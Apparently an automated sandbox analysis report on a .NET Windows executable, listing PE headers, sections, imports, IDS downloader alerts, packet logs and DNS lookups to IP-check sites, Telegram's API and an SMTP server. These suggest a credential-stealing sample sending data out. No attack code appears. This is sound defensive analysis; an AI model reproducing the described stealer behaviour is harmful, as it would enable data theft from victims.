OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x438dc	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x44000	0x1017	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x46000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x41934	0x41a00	b2629c81f514dbeae295aa7ebae22513	False	0.21527901785714285	data	5.638874314512594	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x44000	0x1017	0x1200	88098f3cc5116033740d150580315cfd	False	0.3546006944444444	data	4.768725814534678	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x46000	0xc	0x200	12ea8885c1ee53d95e47bca720b95527	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x440a0	0x31c	data			0.4271356783919598
RT_MANIFEST	0x443bc	0xc5b	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.3926651912741069

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-07T15:19:30.556068+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49706	193.122.130.0	80	TCP
2024-11-07T15:19:32.931122+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49706	193.122.130.0	80	TCP
2024-11-07T15:19:33.661061+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49708	188.114.96.3	443	TCP
2024-11-07T15:19:35.790706+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49709	193.122.130.0	80	TCP
2024-11-07T15:19:43.626300+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49717	188.114.96.3	443	TCP
2024-11-07T15:19:43.784767+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.12.23.50	443	192.168.2.8	49714	TCP
2024-11-07T15:19:46.123464+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49722	188.114.96.3	443	TCP
2024-11-07T15:20:22.004076+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.8	49729	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 15:19:27.676573992 CET	49706	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:27.681473970 CET	80	49706	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:27.681561947 CET	49706	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:27.681952953 CET	49706	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:27.686779976 CET	80	49706	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:28.980173111 CET	80	49706	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:28.997977018 CET	49706	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:29.002871037 CET	80	49706	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:30.501673937 CET	80	49706	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:30.550683022 CET	49707	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:30.550726891 CET	443	49707	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:30.550786972 CET	49707	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:30.556067944 CET	49706	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:30.559814930 CET	49707	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:30.559833050 CET	443	49707	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:31.207993031 CET	443	49707	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:31.208106041 CET	49707	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:31.215787888 CET	49707	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:31.215800047 CET	443	49707	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:31.216104984 CET	443	49707	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:31.259198904 CET	49707	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:31.267218113 CET	49707	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:31.311340094 CET	443	49707	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:31.472800016 CET	443	49707	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:31.472897053 CET	443	49707	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:31.473037958 CET	49707	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:31.479054928 CET	49707	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:31.482440948 CET	49706	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:31.487319946 CET	80	49706	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:32.888868093 CET	80	49706	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:32.900310993 CET	49708	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:32.900352001 CET	443	49708	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:32.900408030 CET	49708	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:32.900845051 CET	49708	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:32.900857925 CET	443	49708	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:32.931122065 CET	49706	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:33.507742882 CET	443	49708	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:33.510415077 CET	49708	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:33.510456085 CET	443	49708	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:33.661062956 CET	443	49708	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:33.661154985 CET	443	49708	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:33.661250114 CET	49708	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:33.661781073 CET	49708	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:33.665072918 CET	49706	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:33.666435957 CET	49709	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:33.670344114 CET	80	49706	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:33.670404911 CET	49706	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:33.671325922 CET	80	49709	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:33.671397924 CET	49709	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:33.671489000 CET	49709	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:33.676790953 CET	80	49709	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:35.745354891 CET	80	49709	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:35.746782064 CET	49710	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:35.746824026 CET	443	49710	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:35.746907949 CET	49710	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:35.747193098 CET	49710	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:35.747205973 CET	443	49710	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:35.790705919 CET	49709	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:36.386620998 CET	443	49710	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:36.388458014 CET	49710	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:36.388499975 CET	443	49710	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:36.533402920 CET	443	49710	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:36.533513069 CET	443	49710	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:36.533560038 CET	49710	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:36.534020901 CET	49710	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:36.543509960 CET	49711	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:36.548369884 CET	80	49711	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:36.548437119 CET	49711	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:36.548551083 CET	49711	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:36.553987980 CET	80	49711	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:39.220664024 CET	80	49711	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:39.233215094 CET	49712	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:39.238118887 CET	80	49712	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:39.238220930 CET	49712	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:39.238316059 CET	49712	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:39.243227005 CET	80	49712	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:39.274831057 CET	49711	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:41.213118076 CET	80	49712	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:41.213666916 CET	49711	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:41.214350939 CET	49713	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:41.214402914 CET	443	49713	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:41.214472055 CET	49713	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:41.214807034 CET	49713	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:41.214821100 CET	443	49713	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:41.218935013 CET	80	49711	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:41.219028950 CET	49711	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:41.259181023 CET	49712	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:41.815099001 CET	443	49713	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:41.816976070 CET	49713	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:41.817003965 CET	443	49713	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:41.956859112 CET	443	49713	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:41.956953049 CET	443	49713	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:41.957012892 CET	49713	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:41.957752943 CET	49713	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:41.961616039 CET	49712	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:41.962831974 CET	49715	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:41.967048883 CET	80	49712	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:41.967144966 CET	49712	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:41.967674017 CET	80	49715	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:41.967741013 CET	49715	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:41.967837095 CET	49715	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:41.972909927 CET	80	49715	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:42.795804977 CET	80	49715	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:42.797002077 CET	49717	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:42.797058105 CET	443	49717	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:42.797127962 CET	49717	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:42.797383070 CET	49717	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:42.797401905 CET	443	49717	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:42.837337017 CET	49715	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:43.403500080 CET	443	49717	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:43.446671963 CET	49717	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:43.476362944 CET	49717	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:43.476376057 CET	443	49717	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:43.626302958 CET	443	49717	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:43.626410961 CET	443	49717	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:43.626476049 CET	49717	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:43.626966000 CET	49717	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:43.629961014 CET	49715	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:43.631010056 CET	49719	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:43.635389090 CET	80	49715	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:43.635493994 CET	49715	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:43.635862112 CET	80	49719	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:43.635952950 CET	49719	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:43.636042118 CET	49719	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:43.640778065 CET	80	49719	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:45.321227074 CET	80	49719	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:45.323231936 CET	49722	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:45.323290110 CET	443	49722	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:45.323367119 CET	49722	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:45.323632002 CET	49722	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:45.323651075 CET	443	49722	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:45.368546963 CET	49719	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:45.937875986 CET	443	49722	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:45.959532976 CET	49722	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:45.959574938 CET	443	49722	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:46.123471022 CET	443	49722	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:46.123558044 CET	443	49722	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:46.123632908 CET	49722	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:46.124099970 CET	49722	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:46.127082109 CET	49719	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:46.128177881 CET	49723	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:46.132565022 CET	80	49719	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:46.132633924 CET	49719	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:46.133157969 CET	80	49723	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:46.133214951 CET	49723	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:46.133323908 CET	49723	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:46.138108969 CET	80	49723	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:47.962872028 CET	80	49723	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:47.964226961 CET	49724	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:47.964274883 CET	443	49724	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:47.964333057 CET	49724	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:47.964590073 CET	49724	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:47.964608908 CET	443	49724	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:48.009162903 CET	49723	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:48.578725100 CET	443	49724	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:48.585269928 CET	49724	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:48.585289001 CET	443	49724	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:48.744657040 CET	443	49724	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:48.744771004 CET	443	49724	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:48.744860888 CET	49724	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:48.745488882 CET	49724	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:48.748339891 CET	49723	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:48.749537945 CET	49725	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:48.753793001 CET	80	49723	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:48.753853083 CET	49723	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:48.754420042 CET	80	49725	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:48.754488945 CET	49725	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:48.754596949 CET	49725	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:48.759561062 CET	80	49725	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:50.383461952 CET	80	49725	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:50.384769917 CET	49726	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:50.384810925 CET	443	49726	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:50.384995937 CET	49726	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:50.385323048 CET	49726	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:50.385334969 CET	443	49726	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:50.431044102 CET	49725	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:50.983046055 CET	443	49726	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:50.984724045 CET	49726	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:50.984749079 CET	443	49726	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:51.125380993 CET	443	49726	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:51.125508070 CET	443	49726	188.114.96.3	192.168.2.8
Nov 7, 2024 15:19:51.125586033 CET	49726	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:51.129916906 CET	49726	443	192.168.2.8	188.114.96.3
Nov 7, 2024 15:19:51.144066095 CET	49725	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:51.149276972 CET	80	49725	193.122.130.0	192.168.2.8
Nov 7, 2024 15:19:51.149369001 CET	49725	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:51.151355028 CET	49727	443	192.168.2.8	149.154.167.220
Nov 7, 2024 15:19:51.151392937 CET	443	49727	149.154.167.220	192.168.2.8
Nov 7, 2024 15:19:51.151468039 CET	49727	443	192.168.2.8	149.154.167.220
Nov 7, 2024 15:19:51.151838064 CET	49727	443	192.168.2.8	149.154.167.220
Nov 7, 2024 15:19:51.151850939 CET	443	49727	149.154.167.220	192.168.2.8
Nov 7, 2024 15:19:52.024200916 CET	443	49727	149.154.167.220	192.168.2.8
Nov 7, 2024 15:19:52.024350882 CET	49727	443	192.168.2.8	149.154.167.220
Nov 7, 2024 15:19:52.028743982 CET	49727	443	192.168.2.8	149.154.167.220
Nov 7, 2024 15:19:52.028752089 CET	443	49727	149.154.167.220	192.168.2.8
Nov 7, 2024 15:19:52.028987885 CET	443	49727	149.154.167.220	192.168.2.8
Nov 7, 2024 15:19:52.030495882 CET	49727	443	192.168.2.8	149.154.167.220
Nov 7, 2024 15:19:52.075333118 CET	443	49727	149.154.167.220	192.168.2.8
Nov 7, 2024 15:19:52.283456087 CET	443	49727	149.154.167.220	192.168.2.8
Nov 7, 2024 15:19:52.283519030 CET	443	49727	149.154.167.220	192.168.2.8
Nov 7, 2024 15:19:52.283608913 CET	49727	443	192.168.2.8	149.154.167.220
Nov 7, 2024 15:19:52.284070015 CET	49727	443	192.168.2.8	149.154.167.220
Nov 7, 2024 15:19:57.598361015 CET	49709	80	192.168.2.8	193.122.130.0
Nov 7, 2024 15:19:57.784296989 CET	49728	587	192.168.2.8	208.91.198.143
Nov 7, 2024 15:19:57.789441109 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:19:57.789531946 CET	49728	587	192.168.2.8	208.91.198.143
Nov 7, 2024 15:19:58.450747013 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:19:58.450997114 CET	49728	587	192.168.2.8	208.91.198.143
Nov 7, 2024 15:19:58.456125975 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:19:58.635401011 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:19:58.636321068 CET	49728	587	192.168.2.8	208.91.198.143
Nov 7, 2024 15:19:58.642487049 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:19:58.799144983 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:19:58.799422026 CET	49728	587	192.168.2.8	208.91.198.143
Nov 7, 2024 15:19:58.804277897 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:20:00.265482903 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:20:00.265752077 CET	49728	587	192.168.2.8	208.91.198.143
Nov 7, 2024 15:20:00.270602942 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:20:00.430349112 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:20:00.430538893 CET	49728	587	192.168.2.8	208.91.198.143
Nov 7, 2024 15:20:00.435384035 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:20:00.609477043 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:20:00.612606049 CET	49728	587	192.168.2.8	208.91.198.143
Nov 7, 2024 15:20:00.618184090 CET	587	49728	208.91.198.143	192.168.2.8
Nov 7, 2024 15:20:00.618232012 CET	49728	587	192.168.2.8	208.91.198.143

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 15:19:27.663923025 CET	51168	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:19:27.670643091 CET	53	51168	1.1.1.1	192.168.2.8
Nov 7, 2024 15:19:30.542818069 CET	58300	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:19:30.549988031 CET	53	58300	1.1.1.1	192.168.2.8
Nov 7, 2024 15:19:51.143961906 CET	53481	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:19:51.150883913 CET	53	53481	1.1.1.1	192.168.2.8
Nov 7, 2024 15:19:57.775363922 CET	58586	53	192.168.2.8	1.1.1.1
Nov 7, 2024 15:19:57.783660889 CET	53	58586	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2024 15:19:27.663923025 CET	192.168.2.8	1.1.1.1	0x1f3f	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:30.542818069 CET	192.168.2.8	1.1.1.1	0x2614	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:51.143961906 CET	192.168.2.8	1.1.1.1	0x324d	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:57.775363922 CET	192.168.2.8	1.1.1.1	0x4b82	Standard query (0)	us2.smtp.mailhostbox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 7, 2024 15:19:27.670643091 CET	1.1.1.1	192.168.2.8	0x1f3f	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 15:19:27.670643091 CET	1.1.1.1	192.168.2.8	0x1f3f	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:27.670643091 CET	1.1.1.1	192.168.2.8	0x1f3f	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:27.670643091 CET	1.1.1.1	192.168.2.8	0x1f3f	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:27.670643091 CET	1.1.1.1	192.168.2.8	0x1f3f	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:27.670643091 CET	1.1.1.1	192.168.2.8	0x1f3f	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:30.549988031 CET	1.1.1.1	192.168.2.8	0x2614	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:30.549988031 CET	1.1.1.1	192.168.2.8	0x2614	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:51.150883913 CET	1.1.1.1	192.168.2.8	0x324d	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:57.783660889 CET	1.1.1.1	192.168.2.8	0x4b82	No error (0)	us2.smtp.mailhostbox.com		208.91.198.143	A (IP address)	IN (0x0001)	false
Nov 7, 2024 15:19:57.783660889 CET	1.1.1.1	192.168.2.8	0x4b82	No error (0)	us2.smtp.mailhostbox.com		208.91.199.224	A (IP address)	IN (0x0001)	false
